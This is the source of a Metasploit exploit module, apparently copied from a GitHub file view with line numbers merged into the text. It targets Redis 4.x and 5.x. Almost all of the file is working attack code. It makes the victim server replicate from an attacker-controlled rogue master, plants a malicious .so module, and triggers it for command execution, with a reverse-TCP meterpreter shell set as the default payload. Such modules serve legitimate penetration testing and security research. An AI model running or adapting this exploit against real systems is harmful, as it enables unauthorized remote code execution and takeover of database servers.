Path: blob/master/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper11include Msf::Auxiliary::Redis12include Msf::Module::Deprecated1314moved_from 'exploit/linux/redis/redis_unauth_exec'1516def initialize(info = {})17super(18update_info(19info,20'Name' => 'Redis Replication Code Execution',21'Description' => %q{22This module can be used to leverage the extension functionality added since Redis 4.0.023to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis24which called replication between master and slave.25},26'License' => MSF_LICENSE,27'Author' => [28'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module29],30'References' => [31[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],32[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']33],3435'Platform' => 'linux',36'Arch' => [ARCH_X86, ARCH_X64],37'Targets' => [38['Automatic', {} ],39],40'DefaultOptions' => {41'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',42'SRVPORT' => '6379'43},44'Privileged' => false,45'DisclosureDate' => '2018-11-13',46'DefaultTarget' => 0,47'Notes' => {48'Stability' => [ SERVICE_RESOURCE_LOSS ],49'Reliability' => [ REPEATABLE_SESSION ],50'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]51}52)53)5455register_options(56[57Opt::RPORT(6379),58OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])59]60)6162register_advanced_options(63[64OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),65OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),66OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])67]68)69deregister_options('URIPATH', 'THREADS', 'SSLCert')70end7172#73# Now tested on redis 4.x and 5.x74#75def check76connect77# they are only vulnerable if we can run the CONFIG command, so try that78return CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/7980if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data81report_redis(redis_version)82end8384unless redis_version85return CheckCode::Unknown('Cannot retrieve redis version, please check it manually')86end8788# Only vulnerable to version 4.x or 5.x89version = Rex::Version.new(redis_version)90if version >= Rex::Version.new('4.0.0')91return CheckCode::Vulnerable("Redis version is #{redis_version}")92end9394CheckCode::Safe95ensure96disconnect97end9899def has_check?100true # Overrides the override in Msf::Auxiliary::Scanner imported by Msf::Auxiliary::Redis101end102103def exploit104if check_custom105@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)106@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"107else108@module_init_name = 'shell'109@module_cmd = 'shell.exec'110end111112if srvhost == '0.0.0.0'113fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')114end115116#117# Prepare for payload.118#119# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.120# It's only worked on linux system.121#122# 2. Use compiled payload, it's avaiable on all OS, however more detectable.123#124if check_custom125buf = create_payload126generate_code_file(buf)127compile_payload128end129130connect131132#133# Send the payload.134#135redis_command('SLAVEOF', srvhost, srvport.to_s)136redis_command('CONFIG', 'SET', 'dbfilename', module_file.to_s)137::IO.select(nil, nil, nil, 2.0)138139# start the rogue server140start_rogue_server141# waiting for victim to receive the payload.142Rex.sleep(1)143redis_command('MODULE', 'LOAD', "./#{module_file}")144redis_command('SLAVEOF', 'NO', 'ONE')145146# Trigger it.147print_status('Sending command to trigger payload.')148pull_the_trigger149150# Clean up151Rex.sleep(2)152register_file_for_cleanup("./#{module_file}")153# redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')154# redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")155ensure156disconnect157end158159#160# We pretend to be a real redis server, and then slave the victim.161#162def start_rogue_server163begin164socket = Rex::Socket::TcpServer.create({ 'LocalHost' => srvhost, 'LocalPort' => srvport })165print_status("Listening on #{srvhost}:#{srvport}")166rescue Rex::BindFailed167print_warning("Handler failed to bind to #{srvhost}:#{srvport}")168print_status("Listening on 0.0.0.0:#{srvport}")169socket = Rex::Socket::TcpServer.create({ 'LocalHost' => '0.0.0.0', 'LocalPort' => srvport })170end171172rsock = socket.accept173vprint_status('Accepted a connection')174175# Start negotiation176loop do177request = rsock.read(1024)178vprint_status("in<<< #{request.inspect}")179response = ''180finish = false181182if request.include?('PING')183response = "+PONG\r\n"184elsif request.include?('REPLCONF')185response = "+OK\r\n"186elsif request.include?('PSYNC') || request.include?('SYNC')187response = "+FULLRESYNC #{'Z' * 40} 1\r\n"188response << "$#{payload_bin.length}\r\n"189response << "#{payload_bin}\r\n"190finish = true191end192193if response.length < 200194vprint_status("out>>> #{response.inspect}")195else196vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..]}")197end198199rsock.put(response)200201next unless finish202203print_status('Rogue server close...')204rsock.close205socket.close206break207end208end209210def pull_the_trigger211if check_custom212redis_command(@module_cmd.to_s)213else214execute_cmdstager215end216end217218#219# Parpare command stager for the pre-compiled payload.220# And the command of module is hard-coded.221#222def execute_command(cmd, _opts = {})223redis_command('shell.exec', cmd.to_s)224rescue StandardError225nil226end227228#229# Generate source code file of payload to be compiled dynamicly.230#231def generate_code_file(buf)232template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))233File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding)) }234end235236def compile_payload237make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')238vprint_status('Clean old files')239vprint_status(`make -C #{File.dirname(make_file)}/rmutil clean`)240vprint_status(`make -C #{File.dirname(make_file)} clean`)241242print_status('Compile redis module extension file')243res = `make -C #{File.dirname(make_file)} -f #{make_file} && echo true`244if res.include?('true')245print_good('Payload generated successfully! ')246else247print_error(res)248fail_with(Failure::BadConfig, 'Check config of gcc compiler.')249end250end251252#253# check the environment for compile payload to so file.254#255def check_env256# check if linux257return false unless `uname -s 2>/dev/null`.include?('Linux')258# check if gcc installed259return false unless `command -v gcc && echo true`.include?('true')260# check if ld installed261return false unless `command -v ld && echo true`.include?('true')262263true264end265266def check_custom267return @custom_payload if @custom_payload268269@custom_payload = false270@custom_payload = true if check_env && datastore['CUSTOM']271272@custom_payload273end274275def module_file276return @module_file if @module_file277278@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"279end280281def create_payload282p = payload.encoded283Msf::Simple::Buffer.transform(p, 'c', 'buf')284end285286def payload_bin287return @payload_bin if @payload_bin288289if check_custom290@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))291else292@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))293end294@payload_bin295end296end297298299